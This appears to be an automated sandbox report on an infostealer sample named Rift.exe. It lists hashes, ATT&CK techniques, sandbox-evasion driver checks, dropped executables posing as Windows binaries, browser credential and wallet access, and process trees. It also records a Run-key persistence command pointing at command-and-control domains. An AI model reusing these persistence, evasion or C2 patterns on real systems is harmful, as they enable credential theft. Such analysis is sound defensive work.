0f18067fe1b0367c790987e67ad4f04f4518da4fbf8d1ff1418c59b58ce3c906

Analysis

user interaction
yes
max time kernel
151s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/08/2026, 01:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Rift.exe
Size 21.2MB
Sample260827-cb2r2ayelf
SHA256 0f18067fe1b0367c790987e67ad4f04f4518da4fbf8d1ff1418c59b58ce3c906
MD5 d28e8be12e864fda1c0967266b07b569
SHA1 f84d467e7f0e00cd76b1b15cf34ab7f10d05ea50
SHA512 9add86f893e2d522d814a44992d6b6c936b700356687ff2817fc6c21ff3b28702176ce4b38321fdfd847bf18f5251ec4192425010a0bb09d299215c0df038d4b
SSDEEP 393216:cE4Qnvswt/TyJwqEI09K5mhJ05JU3D72dyvIS+xaiO/rUubM:HlRIS+vX
TLSH
T12F27AE01B7E89F2FC59F5B36A032811593F5F84A5313E78B2648E6BE2D837805D163A7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Looks for VirtualBox drivers on disk 2 TTPs 24 IoCs

defense_evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\Windows\System32\drivers\VBoxSF.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxVideo.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxVideo.sys	WinPKG.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxMouse.sys	Sysfun32.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxGuest.sys	Sysfun32.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxVideo.sys	Sysfun32.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxMouse.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxMouse.sys	WinRT.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxMouse.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxVideo.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxSF.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxVideo.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxGuest.sys	WinRT.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxSF.sys	WinRT.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxMouse.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxMouse.sys	WinPKG.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxGuest.sys	WinPKG.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxSF.sys	Sysfun32.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxGuest.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxSF.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxVideo.sys	WinRT.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxGuest.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxGuest.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxSF.sys	WinPKG.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6424	powershell.exe

Downloads MZ/PE file 4 IoCs

flow	pid	Process
115	412	WMI5f7e0a.exe
120	412	WMI5f7e0a.exe
122	412	WMI5f7e0a.exe
125	412	WMI5f7e0a.exe

Looks for VMWare drivers on disk 2 TTPs 18 IoCs

defense_evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\Windows\System32\drivers\vmci.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\vmci.sys	Sysfun32.exe
File opened (read-only)	C:\Windows\System32\drivers\vmhgfs.sys	WinRT.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\vmci.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	Sysfun32.exe
File opened (read-only)	C:\Windows\System32\drivers\vmhgfs.sys	Sysfun32.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\vmci.sys	WinRT.exe
File opened (read-only)	C:\Windows\System32\drivers\vmhgfs.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\vmci.sys	WinPKG.exe
File opened (read-only)	C:\Windows\System32\drivers\vmhgfs.sys	WinPKG.exe
File opened (read-only)	C:\Windows\System32\drivers\vmci.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\vmhgfs.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\vmhgfs.sys	RuntimeBroker.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	WinPKG.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	WinRT.exe

Executes dropped EXE 7 IoCs

pid	Process
412	WMI5f7e0a.exe
3972	SearchHost.exe
6244	RuntimeBroker.exe
2684	WinPKG.exe
3344	Sysfun32.exe
3688	RuntimeBroker.exe
3876	WinRT.exe

Loads dropped DLL 4 IoCs

pid	Process
4148	Rift.exe
4148	Rift.exe
6772	chrome.exe
7104	msedge.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsRuntime = "\"C:\\Program Files\\WindowsRuntime\\WinRT.exe\" --u Rift --s https://argonaddon.lol --sb https://netframework.top,https://argonaddon.lol --wp /637755f5efd017953e93fab0 --cp /813ff59853da4b52667165cb --loader"	RuntimeBroker.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
12	discord.com
13	discord.com
35	discord.com

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Videos\Captures\desktop.ini	svchost.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
121	api.ipify.org
124	api.ipify.org

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
560	GameBarPresenceWriter.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsRuntime\WinRT.exe	RuntimeBroker.exe
File created	C:\Program Files\WindowsRuntime\WinPKG.exe	RuntimeBroker.exe
File created	C:\Program Files\WindowsRuntime\Sysfun32.exe	RuntimeBroker.exe
File opened for modification	C:\Program Files\WindowsRuntime\rt.cfg	RuntimeBroker.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_464509093\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1821169788\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\hy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_794208874\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_2116_1800019979\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_109_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\mr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_464509093\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2116_1665552740\_locales\da\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3068	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe

Enumerates system info in registry 2 TTPs 20 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	WinPKG.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Sysfun32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	WinPKG.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Sysfun32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	WinRT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	WinRT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Sysfun32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	SearchHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	WinPKG.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	WinRT.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134322693697622903"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2115213192-531537726-3295841909-1000\{1D3B0227-4838-4469-AE7A-557962C4A464}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2115213192-531537726-3295841909-1000\{F9807CA4-599D-418E-9C6B-E9461D147B2A}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2115213192-531537726-3295841909-1000\{9D35C52D-A09E-4946-B86C-35EFED01DC3C}	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe
4148	Rift.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2116	msedge.exe
2116	msedge.exe
2116	msedge.exe
2116	msedge.exe
2116	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4148	Rift.exe
Token: SeDebugPrivilege	6424	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2116	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3264	OpenWith.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 2116	4148	Rift.exe	94
PID 2116 wrote to memory of 5716	2116	msedge.exe	95
PID 2116 wrote to memory of 5436	2116	msedge.exe	96
PID 2116 wrote to memory of 3068	2116	msedge.exe	97
PID 2116 wrote to memory of 5436	2116	msedge.exe	96
PID 2116 wrote to memory of 5436	2116	msedge.exe	96
PID 2116 wrote to memory of 4456	2116	msedge.exe	98
PID 2116 wrote to memory of 4456	2116	msedge.exe	98
PID 2116 wrote to memory of 3508	2116	msedge.exe	100
PID 2116 wrote to memory of 1748	2116	msedge.exe	101
PID 2116 wrote to memory of 3508	2116	msedge.exe	100
PID 2116 wrote to memory of 3508	2116	msedge.exe	100
PID 2116 wrote to memory of 1748	2116	msedge.exe	101
PID 2116 wrote to memory of 1748	2116	msedge.exe	101
PID 2116 wrote to memory of 4100	2116	msedge.exe	102
PID 2116 wrote to memory of 4188	2116	msedge.exe	103
PID 2116 wrote to memory of 4100	2116	msedge.exe	102
PID 2116 wrote to memory of 4100	2116	msedge.exe	102
PID 2116 wrote to memory of 4188	2116	msedge.exe	103
PID 2116 wrote to memory of 4188	2116	msedge.exe	103
PID 2116 wrote to memory of 3472	2116	msedge.exe	104
PID 2116 wrote to memory of 3472	2116	msedge.exe	104
PID 2116 wrote to memory of 4792	2116	msedge.exe	107
PID 2116 wrote to memory of 1232	2116	msedge.exe	106
PID 2116 wrote to memory of 4792	2116	msedge.exe	107
PID 2116 wrote to memory of 1232	2116	msedge.exe	106
PID 2116 wrote to memory of 5828	2116	msedge.exe	108
PID 2116 wrote to memory of 4712	2116	msedge.exe	109
PID 2116 wrote to memory of 4712	2116	msedge.exe	109
PID 2116 wrote to memory of 4568	2116	msedge.exe	111
PID 2116 wrote to memory of 5340	2116	msedge.exe	119
PID 2116 wrote to memory of 5340	2116	msedge.exe	119
PID 2116 wrote to memory of 3396	2116	msedge.exe	115
PID 2116 wrote to memory of 3396	2116	msedge.exe	115
PID 2116 wrote to memory of 1572	2116	msedge.exe	118
PID 2116 wrote to memory of 1572	2116	msedge.exe	118
PID 2116 wrote to memory of 5340	2116	msedge.exe	119
PID 2116 wrote to memory of 5340	2116	msedge.exe	119
PID 2116 wrote to memory of 6876	2116	msedge.exe	121
PID 2116 wrote to memory of 6884	2116	msedge.exe	122
PID 2116 wrote to memory of 6892	2116	msedge.exe	123
PID 2116 wrote to memory of 1768	2116	msedge.exe	124
PID 2116 wrote to memory of 1768	2116	msedge.exe	124
PID 2116 wrote to memory of 6312	2116	msedge.exe	128
PID 2116 wrote to memory of 6312	2116	msedge.exe	128
PID 2116 wrote to memory of 296	2116	msedge.exe	129
PID 2116 wrote to memory of 296	2116	msedge.exe	129
PID 4148 wrote to memory of 412	4148	Rift.exe	130
PID 412 wrote to memory of 3972	412	WMI5f7e0a.exe	131
PID 412 wrote to memory of 6244	412	WMI5f7e0a.exe	132
PID 2116 wrote to memory of 6400	2116	msedge.exe	133
PID 2116 wrote to memory of 6400	2116	msedge.exe	133
PID 412 wrote to memory of 2684	412	WMI5f7e0a.exe	134
PID 412 wrote to memory of 3344	412	WMI5f7e0a.exe	135
PID 3972 wrote to memory of 6772	3972	SearchHost.exe	136
PID 6244 wrote to memory of 3688	6244	RuntimeBroker.exe	139
PID 3972 wrote to memory of 7104	3972	SearchHost.exe	140
PID 3972 wrote to memory of 6424	3972	SearchHost.exe	145
PID 2116 wrote to memory of 6480	2116	msedge.exe	146
PID 2116 wrote to memory of 6480	2116	msedge.exe	146
PID 2116 wrote to memory of 5772	2116	msedge.exe	147

C:\Users\Admin\AppData\Local\Temp\Rift.exe
"C:\Users\Admin\AppData\Local\Temp\Rift.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.com/api/oauth2/authorize?client_id=1527313012770472096&response_type=code&scope=identify%20guilds.join&redirect_uri=https%3A%2F%2Fgetrift.lol%2Fapi%2Fdiscord%2Fcallback&state=62ab875cfb922632b1edab67cdea173c33fa7ca7c276053b
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x394,0x7ffe81bfc188,0x7ffe81bfc194,0x7ffe81bfc1a0
    3⤵
    PID:5716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1636,i,10171684547630663675,12970163799637930856,262144 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:2
    3⤵
    PID:5436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1940,i,2307179404004729959,7159610800664877719,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2544,i,3441819526380254595,1397378530248327550,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:13
    3⤵
    PID:4456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
